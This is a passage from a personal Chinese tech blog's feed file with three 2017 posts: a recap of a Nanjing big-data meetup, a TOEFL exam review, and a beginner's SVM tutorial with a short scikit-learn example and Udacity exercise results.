<title>南京大数据技术 Meetup 第十次会议参会内容回顾与思考</title>
<link href="/2017/11/04/Nanjing-BigData-Meetup-10-Review/"/>
<url>/2017/11/04/Nanjing-BigData-Meetup-10-Review/</url>
<content type="html"><![CDATA[<blockquote><p>导语:今天下午去南京大学参加了南京大数据技术 Meetup 第十次会议,收获颇丰,不仅是对机器学习、大数据认识有了提升,而且了解当下大数据、机器学习技术在企业中的前沿应用。晚上回来后(南大仙林好远呀 😭,不过听了这场讲座还是值了),直奔教研室 🏃🏃🏃,想把自己下午参会的所听、所想、所得记录下来。</p></blockquote><h3 id="一、介绍"><a href="#一、介绍" class="headerlink" title="一、介绍"></a>一、介绍</h3><p>南京大学的这个大数据技术 Meetup 是由计算机学院助理研究员、南大大数据实验室的<strong>顾荣</strong>博士发起的 算上加上这次已经举办了 10 次了,特此鸣谢顾荣博士发起并组织大数据技术 Meetup,主要是邀请海内外互联网大数据公司或高等院校学者来给大家带来&分享其最新的<strong>大数据技术</strong>、<strong>学术成果</strong>、<strong>工程实践应用</strong>,可以说是一场产、学、研集一身的“盛会”(虽然自己还是个数据科学“菜鸟”,但能够有机会多听听、多见见还是受益匪浅的。</p><p>这个是本次(第 10 次)<a href="http://www.huodongxing.com/event/6411201406400">大数据 Meetup 活动详情连接</a>,感兴趣的小伙伴可以看看 o(<em> ̄▽ ̄</em>)ブ</p><span id="more"></span><h3 id="二、主要嘉宾讲演回顾(回忆版)及个人思考-┗-`O′-┛-嗷"><a href="#二、主要嘉宾讲演回顾(回忆版)及个人思考-┗-`O′-┛-嗷" class="headerlink" title="二、主要嘉宾讲演回顾(回忆版)及个人思考 ┗|`O′|┛ 嗷~~"></a>二、主要嘉宾讲演回顾(回忆版)及个人思考 ┗|`O′|┛ 嗷~~</h3><h4 id="1-大数据时代下的自然语言处理研究进展-via-周德宇"><a href="#1-大数据时代下的自然语言处理研究进展-via-周德宇" class="headerlink" title="1. 大数据时代下的自然语言处理研究进展 via 周德宇"></a>1. 大数据时代下的自然语言处理研究进展 via 周德宇</h4><p>周德宇教授主要从事 NLP 方面的研究,通过周教授的讲述我对 NLP 有了新的认识,比如一般从事 NLP 研究过程如下:</p><p><strong>① 数据预料处理(词性标注 -> 命名实体识别)</strong> -> <strong>② 知识发现(关系抽取/事件抽取)</strong> -> <strong>③ 创建知识图谱</strong> 或 <strong>③ 构建事件图谱(情感计算 / 事件可视化)</strong></p><blockquote><p>周教授说事理图谱是由哈工大的刘挺教授提出了,相对知识图谱更难,但作用很大,很多场合下<strong>事件图谱</strong>更能解决实际问题。有兴趣的小伙伴可以查看相关资料深度了解一下。</p></blockquote><hr><p>周教授的讲座主要分享在三个方面做的研究以及一些实际应用:</p><ul><li><p>关系抽取:周教授带学术做了药物相互作用之间的关系抽取,举个简答的例子,e.g 药物 A 和药物 B 不能和药物C同时使用,我们可以抽取出如下关系表:</p><pre><code class="hljs"> | 关系 | 相互作用与否 | | ------------ | ------------ | | < A, C > | Yes | | < B , C > | Yes | | < A , B > | No |</code></pre><blockquote><p>我觉得这个非常有意思,每年有很多因俩种或多种药物不良反应造成的医疗事故,如果我们可以通过这种药物关系抽取出各种不良药物反应的关系,然后绘制知识图谱/事件图谱,然后在医生使用 HIS 系统开药时,智能辅助,是不是可以大大降低因药物不良反应的事故率呢 😉</p></blockquote><p> 此外,周教授还有一个处于研究中的叫做 position-aware relation extraction。</p><p> 这个对比传统的关系抽取方法,主要区别是在分词 part of bags 分词阶段加入单词位置的考虑,简单来说,一句英文不用位置的单词重要性不同,所以英文我们会强调有重读和弱读。不然很长的一句话,别人无法抓住重点,就会造成理解上的障碍。</p></li><li><p>事件抽取:事件抽取方面,周教授主要谈及利用 Topic Model 进行事件抽取方面的研究。</p><p> Deep Learning 这俩年的超级火爆,利用 LDA 模型进行的研究的人员少了很多,但时周教授发现,Deep Learning 和 AI 占据主流技术的同时,LDA 模型仍然有其用武之地。</p><p> 周教授团队用 Topic Model 把每一个事件用一个 document 表示,然后关联不同 document,进行事件抽取。LDA 我也只了解皮毛,所以我就不阐述了。</p></li><li><p>文本情感分析:做文本情感分析的人很多,但周教授及其团队选取的角度很独特 ———— 针对 Trump 2016 大选事件做 Twitter 用户态度。不仅分析出每条 tweet 的表达 support / disapprove 的态度,更重要的是找出其支持的理由/主题 ,制作图谱 </p><blockquote><p>🔗 去年的《信息传播学》课程实践作业,我爬取了 Trump 和 Hilary 过年一年所有 tweets 作为输入语料 ,利用内容分析法,分析出了其各自主要政治态度、宗教、教育、军事等方面的 <strong>态度</strong> / <strong>观点</strong>。</p></blockquote></li><li><p>实际应用:</p><ul><li>社会舆情采集系统(Spark、Hadoop、MongoDB…)</li><li>…</li></ul></li></ul><h4 id="2-大规模场景下的智能化硬盘故障预警及修复-via-朱颖航"><a href="#2-大规模场景下的智能化硬盘故障预警及修复-via-朱颖航" class="headerlink" title="2. 大规模场景下的智能化硬盘故障预警及修复 via 朱颖航"></a>2. 大规模场景下的智能化硬盘故障预警及修复 via 朱颖航</h4><pre><code class="hljs">主要通过采集服务器日志信息和多种传感器数据,分析影响硬盘故障的因素和权重,构建一个智能化硬盘故障预警及修复系统。记得吴恩达(Ng Andrew)在 Google 期间,就带领团队利用机器学习分析统计预计 Datacenter 的能耗问题,最终实现了显著的能耗降低。</code></pre><blockquote><p>这里我提了一个问题,就是 LinkedSee 灵犀在IT企业智能化运维除了硬盘故障预警及修复,对于能耗问题是否涉及?朱颖航说他在百度期间就从事了相关的工作,这里面的故事很多 ~~~</p></blockquote><blockquote><p>我还有一点感触就是 ———— 人工智能、机器学习等的应用场景还有很多,我们需要打开思路,发散思维,以全新的视角去审视问题。这个就给我们做了很多的范例。在数据极大丰富、计算能力大幅提升、算法多种多样的今天,我们更加需要深刻理解业务场景、提高问题意识,不断创新问题解决思路、方法,用新工具解决新问题,持续提升效率。</p></blockquote><h4 id="3-企业大数据在风控领域的应用与价值挖掘-via-冯娟"><a href="#3-企业大数据在风控领域的应用与价值挖掘-via-冯娟" class="headerlink" title="3. 企业大数据在风控领域的应用与价值挖掘 via 冯娟"></a>3. 企业大数据在风控领域的应用与价值挖掘 via 冯娟</h4><pre><code class="hljs">企业大数据不同于以往的社交媒体数据挖掘,而且强调一种“全数据”的概念,包含各种企业公开信息(公司概况、财务、运营数据)、新闻媒体、社交媒体数据、政府监管数据等等。通过挖掘企业的全数据,我们可以绘制公司/企业的“知识图谱”,了解其错综复杂的关系网,利益链,人脉关系网;隐藏着融资风险、非法集资链条等等。</code></pre><hr><p>📌 <strong>企业大数据挖掘建模的几个要素</strong>:</p><ul><li><p>数据和技术要为业务服务 – 领域知识很重要。</p></li><li><p>抽象业务问题,合理定义目标</p></li><li><p>分群建模的重要性。不同的人群特点不同,不可能一个模型/算法通吃。</p></li><li><p>…</p></li></ul><h4 id="4-数据挖掘思维的基础-via-丁明"><a href="#4-数据挖掘思维的基础-via-丁明" class="headerlink" title="4. 数据挖掘思维的基础 via 丁明"></a>4. 数据挖掘思维的基础 via 丁明</h4><pre><code class="hljs">这次收获或者感悟最多的还是要数丁明带来的《数据挖掘思维的基础》,原因有二:- peer-view 观点,一个从网络运维转型数据挖掘工程师,偶然参加了数据科学竞赛,从此走上数据挖掘道路- 分享的是数据挖掘/数据科学核心的分析思维/逻辑问题,而非传统的技术分享。</code></pre><ul><li><p>数据分析类型</p><ul><li><p>Descriptive Analysis(描述性分析,也就是我们常说的 EDA):主要通过一些统计分析指标(平均值、众数、方差…)、变量分析(单变量、双变量、多变量)、成分分析探寻数据中一些基本特征、变量关系,为下一步的 predictive analysis 等打下基础,做些基本储备,充分了解数据特征和关系。</p></li><li><p>Diagonal Analysis(诊断性数据分析):在描述性分析基础上,探寻某些关系、规律背后的影响因素、原因。进一步刻画数据中存在的规律、变化。</p></li><li><p>Predictive Analysis(预测性分析):根据前俩个分析得出的结论、规律等,进行建模预测,对未来数据变化/用户行为进行预测。</p></li><li><p>Prescriptive Analysis(指导性):这步主要是面向管理层/高层领导进行的操作,分析师们需要将发现的 <strong>Insights/Ideas</strong> 写成分析报告(包括 Visualization Analysis),以支持上级领导/公司高层进行业务/战略的 <strong>优化/决策</strong>。</p></li></ul></li><li><p>数据挖掘基本流程</p><p> <strong>数据预处理模块</strong> -> <strong>目标评分公式模块</strong> -> <strong>特征工程模块</strong> -> <strong>Label标签模块</strong> -> <strong>训练模型模块</strong></p></li><li><p>八种常见任务类型</p><ul><li><p>分类</p></li><li><p>回归</p></li><li><p>聚类</p></li><li><p>相似匹配</p></li><li><p>频繁集发现</p></li><li><p>统计(属性、行为、状态)描述</p></li><li><p>连接预测</p></li><li><p>因果分析</p></li></ul></li></ul><blockquote><p>我印象最深刻的一句话是 ———— “我们最终要成为一个模型、算法的分拣器”。我们在了解各种算法后,需要通过大量的训练,获得成为分拣器的实践经验和相应的业务知识/领域知识。 多聆听 👂 多思考 🤔 多实践 🏃</p></blockquote>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>机器学习</tag>
<tag>Meetup</tag>
<tag>大数据</tag>
</tags>
</entry>
<entry>
<title>TOEFL Test Review</title>
<link href="/2017/10/27/TOEFL-Review/"/>
<url>/2017/10/27/TOEFL-Review/</url>
<content type="html"><![CDATA[<p>Cover Photo by ETS.org</p><blockquote><p>后天(2017.10.28)我就要参加 TOEFL(ETS)考试了,我想在考试之前系统梳理下 TOEFL 考试流程、内容、一些应试“策略”(我这里不愿称之为技巧)~ OK,那我们正是开始吧!</p></blockquote><h1 id="一、介绍"><a href="#一、介绍" class="headerlink" title="一、介绍"></a>一、介绍</h1><p>TOEFL 考试全称为 Test of English as a Foreign Language,中文我们习惯称之为“托福”,举办方是美国重要考试机构 ETS(English Testing System),TOEFL是很多想要出国去英语国家留学、工作必不可少;此外,现在很多人还把 TOEFL 和 IELTS 当成介于 CET-4 、CET-6 和 专业英语等级考试(一般俗称的专四、专八)的一种语言能力证明考试,面试外企或对英语要求高的专业。</p><ul><li><p>报名要求:无要求</p></li><li><p>考试时长: 大陆考区是每周的周六 9:00 开考(ETS有时会根据情况在某个周六的下午增加一场 TOEFL 考试),持续时间一般都是3个小时以上,</p></li></ul><span id="more"></span><p>我们现在参加 TOEFL 基本上都会遇到经典加试(阅读或听力而二者之一),时间也会相应往后顺延,我记得我第一次考完出来时间已经将近下午1点钟了 T_T </p><ul><li><p>考试内容和得分:TOEFL 考试分为四块 —— 阅读、听力、口语、写作,每项满分 30 分,TOEFL考试合计满分 120 分。</p><p> <a href="http://www.ets.org/toefl/ibt/scores/understand">TOEFL® Score Scales</a></p><table><thead><tr><th>Skill</th><th>Score Range</th><th>Level</th></tr></thead><tbody><tr><td>Reading</td><td>0–30</td><td>High (22–30) Intermediate (15–21) Low (0–14)</td></tr><tr><td>Listening</td><td>0–30</td><td>High (22–30) Intermediate (14–21) Low (0–13)</td></tr><tr><td>Speaking</td><td>0–30</td><td>Good (26–30) Fair (18–25) Limited (10–17) Weak (0–9)</td></tr><tr><td>Writing</td><td>0–30</td><td>Good (24–30) Fair (17–23) Limited (1–16) Score of zero (0)</td></tr><tr><td>Total Score</td><td>0–120</td><td>Good Limited</td></tr></tbody></table></li><li><p>考试形式:中国大陆地区现在全部采用机考模式,也就是 iBT TOEFL (internet-based TOEFL Test Exam)</p></li></ul><p>Now,让我们开始逐一回顾下 TOEFL 考试每项具体内容和知识点总结吧。</p><h1 id="二、TOEFL-阅读"><a href="#二、TOEFL-阅读" class="headerlink" title="二、TOEFL 阅读"></a>二、TOEFL 阅读</h1><h2 id="1-介绍"><a href="#1-介绍" class="headerlink" title="1. 介绍"></a>1. 介绍</h2><p>TOEFL 阅读部分总共有 3 篇文章,每篇 800 词左右,每篇题目量 16/17 题目,时长为 1 h。</p><p>经过很长时间的备考,我愈发觉得 TOEFL 阅读部分着重考察我们的<strong>逻辑思维能力</strong>、<strong>学科词汇</strong>!</p><p>主要涉及学科:艺术、生物、地理、人文…</p><p>✂ <strong>生物</strong>、<strong>地理</strong>等学科理科性比较强,<strong>人文/社会科学</strong>文章比较难理解些</p><h2 id="2-个人经验总结"><a href="#2-个人经验总结" class="headerlink" title="2. 个人经验总结"></a>2. 个人经验总结</h2><ul><li><p>首先,看到 TOEFL 文章后一定要<strong>看标题!看标题!看标题!</strong></p><p> 这样可以根据标题猜测这遍文章的主题/学科,相信大家考试之前已经做了不少题目,艺术/生物/地理/历史等类。</p></li><li><p>其次,TOEFL 阅读正常是按照文章段落顺序出题</p><p> 每题所在段落会高亮标注,开始某段的题目前最好先快速通览整段(开头/结尾,中心句,跳读例子等次要部分)。</p></li><li><p>最后,做阅读题目时刻牢记主题思想,注意前后逻辑、行为思路。</p></li></ul><hr><p><em><strong>题型拆解</strong></em></p><ul><li><p>词汇题(3-4 个/篇):词汇题都是固定词汇反复考,经常是某个单词这回是选项,下次就变成了题干。尽量保证全对 ✔ ✔ ✔</p></li><li><p>细节题(2-4 个/篇):注意 Except / Not 等信号词</p></li><li><p>推断题(2-4 个/篇):一般都是取同(与文章意思相同)、取反(与文章意思相反) </p></li><li><p>句子简化题(1 个/篇):三少(主语/宾语/逻辑),一多(逻辑)</p></li><li><p>句子插入题(1 个/篇):这个主要根据前后主语,指代词(this/that/these/those)、逻辑关系词(therefore/because)等前后逻辑结构选出。</p></li><li><p>Prose Summary / Table :2分题,Prose Summary 是给出6个句子让你选出与文章对应的main ideas / key points,略过 details / examples;table 表格题一般在对比型文章容易出现,对比俩种类型的区别,对号入座就可以了。</p></li></ul><p>🔗 常见逻辑关系总结:因果逻辑(therefore/because/thus/due to)、对比逻辑(contrast/while)、比较逻辑(compare/similar)、递进逻辑(in addition/furthermore)…</p><h1 id="三、TOEFL-听力"><a href="#三、TOEFL-听力" class="headerlink" title="三、TOEFL 听力"></a>三、TOEFL 听力</h1><h2 id="1-介绍-1"><a href="#1-介绍-1" class="headerlink" title="1. 介绍"></a>1. 介绍</h2><p>听力可以说 TOEFL 考试的核心、重点、要害(俗话说:得托福听力者,得高分),因为除了阅读部分,剩下 3 个 部分(听力、口语、写作的综合写作)全部和听力相关且直接影响着做题质量,可以关乎你的 TOEFL 最终成绩。</p><p>TOEFL 听力部分总共有 2 个 section,每个 section 是 1 篇对话,2 篇 lecture—</p><table><thead><tr><th>Section 1</th><th>Section 2</th></tr></thead><tbody><tr><td>Conversation 1</td><td>Conversation 2</td></tr><tr><td>Lecture 1</td><td>Lecture 3</td></tr><tr><td>Lecture 2</td><td>Lecture 4</td></tr></tbody></table><p>TOEFL 听力部分着重考察我们的<strong>听力能力</strong>、<strong>学科词汇</strong>!</p><p>无老师就建议大家,在没有听懂95%以上内容的情况下,不要做笔记,这点我自己深有体会;刚开始忙于做笔记,为了做笔记而做笔记,却忽略 😭 了听力的核心 Σ 是要听懂!要听懂!要听懂!</p><p>主要涉及学科:Arts/Life Science/Geography/Astronomy/Scoial Science…</p><h2 id="2-个人经验总结-1"><a href="#2-个人经验总结-1" class="headerlink" title="2. 个人经验总结"></a>2. 个人经验总结</h2><ul><li><p>先说下 conversation。</p><ul><li><p>conversation 一般多发生于以下场景和人群之间:① 学习场景:Prof. & Stu./Advisor & Stu./ Stu. & Stu. ② 生活场景:Librian & Stu.等。</p></li><li><p>主要任务:mainly topic(subject discussion/ paper/ part-time jobs/ urgent matters), speaker`s attitudes, analysis of problems(one speaker), solutions(solved/unsovled)。</p></li><li><p>笔记:建议 conversation 不做笔记。抓主要信息,听懂就好。</p></li></ul></li><li><p>接下来重头戏 lectures。</p><ul><li><p>lecture 主要分为两种:monologue or discussion</p></li><li><p>主要信息如下表:</p></li></ul><table><thead><tr><th>分类</th><th>备注</th></tr></thead><tbody><tr><td>开头</td><td>主旨</td></tr><tr><td>结尾</td><td>重听题、预测</td></tr><tr><td>人名、地名</td><td>一般不考具体含义,但做题出现关键词要有印象,一般是在历史发展过程/多种类型对比出现</td></tr><tr><td>强调1</td><td>并列(and/also)</td></tr><tr><td>强调2</td><td>转折(however/while)</td></tr><tr><td>强调3</td><td>重点(important/especially)</td></tr><tr><td>强调4</td><td>重复(几个adj 并列重复某个概念)</td></tr><tr><td>强调5</td><td>对比/比较(though/felt,虚拟语气的一种形式,表示过去认为A,现在实际B)</td></tr><tr><td>指令词</td><td>listen/think</td></tr></tbody></table><blockquote><p>这里特别感谢江苏南京朗阁 TOEFL 听力林幸健老师,原表是林老师总结的,林老师建议我们记住此表,听力考试具体听时做到心里有数,主次分明,听出<strong>层次感</strong>、<strong>颗粒感</strong>(practice tests perfect !)</p></blockquote></li></ul><h1 id="四、TOEFL-口语"><a href="#四、TOEFL-口语" class="headerlink" title="四、TOEFL 口语"></a>四、TOEFL 口语</h1><h2 id="1-介绍-2"><a href="#1-介绍-2" class="headerlink" title="1. 介绍"></a>1. 介绍</h2><pre><code class="hljs">TOEFL 口语部分总共有 6 个 task(除了1、2,剩下的 task 都有听力部分)。* task 1-2:开放性回答,都是日常生活常见的话题 e.g ① 谈论一本你喜欢的书以及喜欢的理由、具体例子 ② 说一位你个你崇拜的人,说明理由、细节;二选一:① 你喜欢去市中心超时郊区的超市购物 ③ 你喜欢和哪一种室友相处:A or B or C? **答题**:15s prepare + 45s speak* task 3-4:考试三部分组成:Reading + Listening + Speaking * task 3:校园(campus)场景,一般发生在俩个学生之间。reading 要求我们阅读完材料听一段 conversation;conversation 中俩个学生谈论阅读材料中的 topic ,学生 A 会明确表明态度(agree / disagree),另一个学生 B 辅助谈话中,学生 A 依次说出自己的理由1、2;speaking 总结阅读材料主题 + 学术的态度以及理由1、2。 > 📌 task 3 阅读材料一般可分为:#letter #announcement #proposal * task 4:学术(academic)场景,一般是教授一个的 monologue,reading 要我们在阅读完材料(某个学科中的概念介绍 e.g swarm intelligence/ emotional intelligence/ plants...);listening 中教授会用 1-2 例子向学术 illustrate 这个概念;speaking 中我们要总结 reading 中的概念大意,然后概述教授所说的具体例子(examples)。 **答题**:30s prepare + 60s speak * task 5-6:考试三部分组成:Listening + Speaking * task 5:校园(campus)场景,listening 听一段学生对话,有 1 个 problem + 2 个 solutions + 对应的理由1、2(两个版本);speaking 部分我们需要总结一下学生遇到的 problem ,选择一个 solution,并总结理由1、2(听力!听力!听力!)。 > 📌 task 5 可分为:紧急情况、忘记某事/某物 * task 6:学术(academic)场景,listening 部分先听一段学术 monologue,包含 1 个 topic + 3 个 main points + 3 个例子(1个 main point <-> 1 个 example);speaking 部分我们总结下听力材料中的 1 个 topic + 3 个 main points + 3 个例子。 **答题**:20s prepare + 60s speak 主要涉及场景、学科:campus service/psychology/biology/botany/animals...</code></pre><h1 id="五、TOEFL-写作"><a href="#五、TOEFL-写作" class="headerlink" title="五、TOEFL 写作"></a>五、TOEFL 写作</h1><h2 id="1-介绍-3"><a href="#1-介绍-3" class="headerlink" title="1. 介绍"></a>1. 介绍</h2><p>TOEFL 写作部分总共有 2 个部分:integrated writing + independent writing。</p><ul><li><p>综合写作(intergrated writing):reading + listening + writing 。reading 阅读一篇短文,阐述某个 topic sentence,接下来三段阐述 3 个论据和细节;listening 一般都是反驳文章观点,然后说出 3 个 论据和细节;writing 部分我们需要总结对比 reading 观点和 listening 观点(不漏写!不漏写!不漏写!)。</p><ul><li><p>reading:阅读时间先抓首段,找出核心事件/观点,然后分别快速阅读剩下 3 段的首句和细节,抓名词,形容词,注意并列结构。</p></li><li><p>listening:一般 speaker 都会用一些<strong>声调</strong>、<strong>语气</strong>来帮我们辨别核心驳论点和细节,用心听,多感受 ~</p></li><li><p><strong>时间</strong>:20min</p></li></ul></li><li><p>独立写作(independent writing):</p><ul><li><p>话题:工作、教育、环保、科技、政府…</p></li><li><p>注意:每段中要有 details 和 examples</p></li><li><p><strong>时间</strong>:30min</p></li></ul></li></ul><p>✂ 很多小伙伴把重心完全放到了 independent writing,却忽视了 integrated writing 的重要性(很大程度上,你的 integrated 能否上 fair 甚至 good 直接影响着我们写作部分的最终得分)</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>以上就是全部的考试主要内容和考点以及一些应试策略,仅供大家参考,大家要记住,TOEFL 毕竟是一场考试,有其局限性。我们真正着眼点还是应该放到提升自己英语能力上:听的懂,说得出,写得好(我个人总结的9字箴言)</p><blockquote><p>经过几个月的备考,祝愿自己这次能考出理想成绩,早日拿到 1 跟油条,2 个鸭蛋(100/120 分)</p></blockquote>]]></content>
<categories>
<category>考试</category>
</categories>
<tags>
<tag>英语</tag>
<tag>TOEFL</tag>
</tags>
</entry>
<entry>
<title>机器学习算法之【SVM】</title>
<link href="/2017/10/24/MachineLearning-SupervisedLearning-SVM/"/>
<url>/2017/10/24/MachineLearning-SupervisedLearning-SVM/</url>
<content type="html"><![CDATA[<p>Cover Photo by scikit-learn.org</p><blockquote><p>导语:前天,手欠误删了基于 Github Pages + Hexo 搭建的个人技术博客,已经花费了2小时写了篇 SVM 算法总结,没了 T_T ( ´・・)ノ(._.`) 吸取这次的教训,做好数据/文档的备份操作 !!!但是,换个角度想想,这也给我一个再次抛开书本、博客文档(当时的短时记忆加个人理解写成),再次思考什么 SVM,SVM到底说了啥,如何利用scikit-learn 快速构建一个基于 SVM 分类器/模型的机会哦 ~ 我必须谢谢我自己 🤣🤣🤣</p></blockquote><h3 id="一、介绍"><a href="#一、介绍" class="headerlink" title="一、介绍"></a>一、介绍</h3><p>众所周知,机器学习我们一般可以分为两大类:一是监督学习或有监督学习(Supervised Learning),另一类是自主学习或无监督学习(Unsupervised Learning)。今天,我想回顾一下或者说温习下上周学习的一种有监督学习算法 SVM。</p><p>SVM 是英文 Support Vector Machines 的英文所写,翻译成中文,我们一般称之为支持向量机。利用 SVM 我们可以实现对线性空间场景下(非线性空间下,我们可以利用 kernel tricks 进行改造,后面会详细以及)分类问题,具体举例来说,可以尝试用 SVM 解决下列问题:</p><span id="more"></span><ul><li>垃圾邮件分类</li><li>作者预测</li><li>个性化推荐 (好友推荐、音乐推荐、商品推荐)</li><li>…</li></ul><h3 id="二、核心思想"><a href="#二、核心思想" class="headerlink" title="二、核心思想"></a>二、核心思想</h3><p>SVM 核心思想是一个超平面内,找到一条直线,实现对不同类型的点进行分类的目的,且边界距离Margin达到最大值。需要注意的是,现实世界中的问题是复杂多变、多种多样,有时我们在处理分类问题遇到非典型线性分类问题,要么采用其他分类算法,要么对问题进行“改造”,把实际工程应用中具体的非线性问题转换成线性或类线性问题。</p><p>所以,在具体工程应用中,我们可能还会见到一些 SVM 的变体模型,这里我在后面如若遇到也会总结、分享 ~</p><blockquote><p>我们想要达到掌握/精通一门语言、技术的程度,不是一朝一夕能够达到的,相反的,我们不如边用边学(遇到需要使用这门技术的时候,开始按需学习、实践、反复)、边学边用(阅读GitHub源代码,是一种非常好的快速学习一门语言/技术的方法)。逆行思维,多想想自己已经 了解/理解/掌握 哪些知识/技术/工具</p></blockquote><h3 id="三、具体实例"><a href="#三、具体实例" class="headerlink" title="三、具体实例"></a>三、具体实例</h3><ol><li><p>为什么选择 scikit-learn</p><p> scikit-learn 是当下入门机器学习几乎都会用到的机器学习集成包,主要基于Python编写的。文档齐全、社区友好、支持当下几乎所有主流的机器学习算法、框架;上手快,易于实现(个人感觉 scikit-learn 有点类似深度学习中 keras 框架,基本构建模型都已经封装好,“搭积木”的方式你主要调用/组合就好了)。</p><p> ☀ 当然了,我们在享受 scikit-learn 快捷便利强大的同时,也不能过于依赖。防止自己的编程能力 keep your hands dirty,还要关注大公司(BAT,FLAG)发布新的开源包/框架(我自己一直关注微博上 “爱可可-爱生活”的微博号)</p></li><li><p>利用 scikit-learn 快速构建一个基于 SVM 的分类器/模型</p><p> 下面,我们看下如何使用 scikit-learn 快速搭建起一个基于 SVM 的分类器</p> <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#导入sklearn相关算法包,以及自己编写的数据预处理程序</span><br><span class="hljs-keyword">from</span> sklearn.svm <span class="hljs-keyword">import</span> SVC<br><span class="hljs-keyword">from</span> sklearn.metrics <span class="hljs-keyword">import</span> accuracy_score<br><span class="hljs-keyword">from</span> prep_data <span class="hljs-keyword">import</span> makeTerrainData<br><br><span class="hljs-comment">#数据预处理:训练集 + 测试机</span><br>features_train, features_test, labels_train, labels_test = makeTerrianData()<br><br><span class="hljs-comment"># 生成实例</span><br>clf = SVC(kernel=<span class="hljs-string">'linear'</span>)<br><br><span class="hljs-comment"># 拟合分类器</span><br>clf.fit(features_train, labels_train)<br><br><span class="hljs-comment"># 进行预测</span><br>pred = clf.predict(features_test)<br><br><span class="hljs-comment"># 准确率</span><br>accuracy = accuracy_score(pred, labels_test)<br></code></pre></td></tr></table></figure><p> 看到了吧 o(<em>^@^</em>)o 使用 scikit-learn 构建一个基于 SVM 的分类器就是这么容易,给 scikit-learn 手动点赞吧 👍 b( ̄▽ ̄)d</p></li><li><p>调参</p><blockquote><p>有些人会说调参,占据机器学习的大部分时间,虽然有些夸张,但却也反映出了调参对于机器学习模型好坏、质量的重要性</p></blockquote><ul><li><p>kernel:rbf(default) / linear/ sigmoid … 我们称之为 kernel trick ,非常好用。我们前面提到在分类问题非线性情况是,我们需要转换成类线性或线性问题,这里 kernel 主要起这个作用哈 ~~~ 吼吼吼 💃</p></li><li><p>C:一般来说,C 值越大,拟合程度越高</p></li><li><p>gamma:gamma 参数相比 C 参数对模型的拟合影响程度小很多,但还是存在一定影响的。根据经验值,我们得出,一般gamma</p></li></ul><p> 下面是 Udacity SVM 算法部分的 Mini 小项目,我的运行主要结果 </p><p> 练习1:作者身份准确率<br> no. of Chris training emails: 7936<br> no. of Sara training emails: 7884<br> accuracy: 0.984072810011</p><p> 练习2:对SVM分类器计时<br> training time: 321.045 s<br> predicting time: 28.493 s</p><p> 练习3:降低训练集大小 (100% -> 1%)<br> training time: 0.139 s<br> training time: 1.551 s<br> accuracy: 0.884527872582</p><p> 练习4:改变内核(100% -> 1%,linear -> rbf)<br> training time: 0.153 s<br> training time: 1.783 s<br> accuracy: 0.616040955631</p><p> 练习5:优化C参数(100% -> 1%,C: 10.0、100.、1000. 和 10000.)<br> 0.616040955631 -> 0.616040955631 -> 0.821387940842 -> 0.892491467577</p><p> 练习6:改变内核(linear -> rbf, C: 10000)<br> training time: 158.059 s<br> training time: 15.595 s<br> accuracy: 0.990898748578</p></li></ol><h3 id="四、SVM-的-pros-and-cons"><a href="#四、SVM-的-pros-and-cons" class="headerlink" title="四、SVM 的 pros and cons"></a>四、SVM 的 pros and cons</h3><p>Pros:</p><ul><li>适合处理线性分类问题</li><li>robust</li></ul><p>Cons:</p><ul><li>防止过度拟合问题,上文提及的 C 参数和 gamma 参数需要调整优化</li><li>优化问题比较复杂</li><li>对噪声敏感</li></ul><p>注:这里pros and cons 参考了 Udacity 夏季线下讨论营的 SVM 优缺点总结</p><h3 id="五、思考"><a href="#五、思考" class="headerlink" title="五、思考"></a>五、思考</h3><ol><li><p>我们该怎样学习机器学习(个人见解)</p><p> 记得周志华老师在他的“西瓜书”🍉——《机器学习》的前言如何使用本书就明确表示,希望读者,不要指望一下俩下掌握机器学习,建立读者不妨多读几遍该书,每次收获获取都不同;此外,周老师不建议初学者,上来就一头扎进“十大经典算法” 或 “二十大算法”,沉迷于某个算法的数学推导、代码实现等,“只见其木,不见其林”。我个人十分赞同周志华老师的观点。</p><p> 1)机器学习好比一大片森林,初来乍到,我们最好观其全貌,概览机器学习主要内容和知识体系;</p><p> 2)边学边思考,多实践、多总结。Andrew Ng 说过—— 人人都可以掌握机器学期、深度学习,关键要掌握掌握其的方法,很多人就忽视复现他们实验这个常见但经常被大家忽略的快速学习机器学习/深度学习的高效学习方法。</p></li><li><p>我接下来的学习计划和蓝图(仅供参考)</p><ol><li>参加 Kaggle / 天池 数据科学竞赛,实战中学习,学习中实战;</li><li>多写机器学习或数据分析技术、方法等博客,不断回顾学习,深化知识理解,朝着掌握/精通的方向不断努力</li><li>强化编程能力。不过度依赖 scikit-learn 等算法包</li></ol><ul><li>Be open-minded ! </li><li>Be proactive !</li><li>…</li></ul></li></ol><h3 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h3><blockquote><p>关于我的博文的几点说明:</p></blockquote><ul><li>我的博文主要是个人随笔、技术总结分享、数据科学/机器学习项目踩坑经验以及一些杂七杂八的内容,作为自己的一个小天地 ~</li><li>我的博文内容更多强调自己的个人理解和思考,而非知识、技能的提纲,合上书本、各种资料后,写出来的东西才是自己的东西,行文逻辑也将是你自己的思维过程,以及你意识中觉得比较重要的地方。这样相当于“一千个读者,就有一千个哈姆雷特一样”。</li><li>技术总结博客很多都是初学札记,难免有疏漏或理解错误的地方,恳请阅者多多包涵,但如果我的一点个人理解或思考能给你带来一点儿启发或进一步思考,我将会十分高兴的,说明我写的博客帮助提升自己的同时,也帮助到了TA人。</li></ul><p>砥砺前行,不忘初心 ,一直在路上 ε=ε=ε=(<del> ̄▽ ̄)</del></p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>机器学习</tag>
<tag>有监督学习</tag>
<tag>SVM</tag>
</tags>
</entry>
<entry>
<title>HelloWorld</title>
<link href="/2017/10/20/HelloWorld/"/>
<url>/2017/10/20/HelloWorld/</url>
